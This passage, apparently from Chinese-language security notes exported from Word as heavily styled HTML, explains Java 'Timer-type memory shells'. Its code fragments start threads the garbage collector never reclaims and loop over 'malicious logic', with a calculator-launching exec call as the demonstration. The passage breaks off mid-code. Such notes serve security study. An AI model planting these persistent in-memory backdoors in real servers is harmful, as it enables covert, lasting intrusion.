style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Runtime</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getRuntime</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">exec</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;open -a Calculator.app&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">      </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IOException</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>e</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">printStackTrace</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">      </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">  </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">},</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">10000</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://su18.org/post/memory-shell-2/" target="_blank">https://su18.org/post/memory-shell-2/</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">所谓的 Timer 型内存马，实际上就是想办法在服务器上启动一个永远不会被 GC 的线程，在此线程中定时或循环执行恶意代码，达到内存马的目的。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">创建守护线程同样可以</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Thread</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> d </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Thread</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getSystemThreadGroup</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(),</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Runnable</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">run</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">// 死循环</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">while</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">true</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">// 恶意逻辑</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">List</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> list </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getRequest</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">list</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">size</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">==</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">2</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(!</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">set</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">contains</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">list</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">get</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim 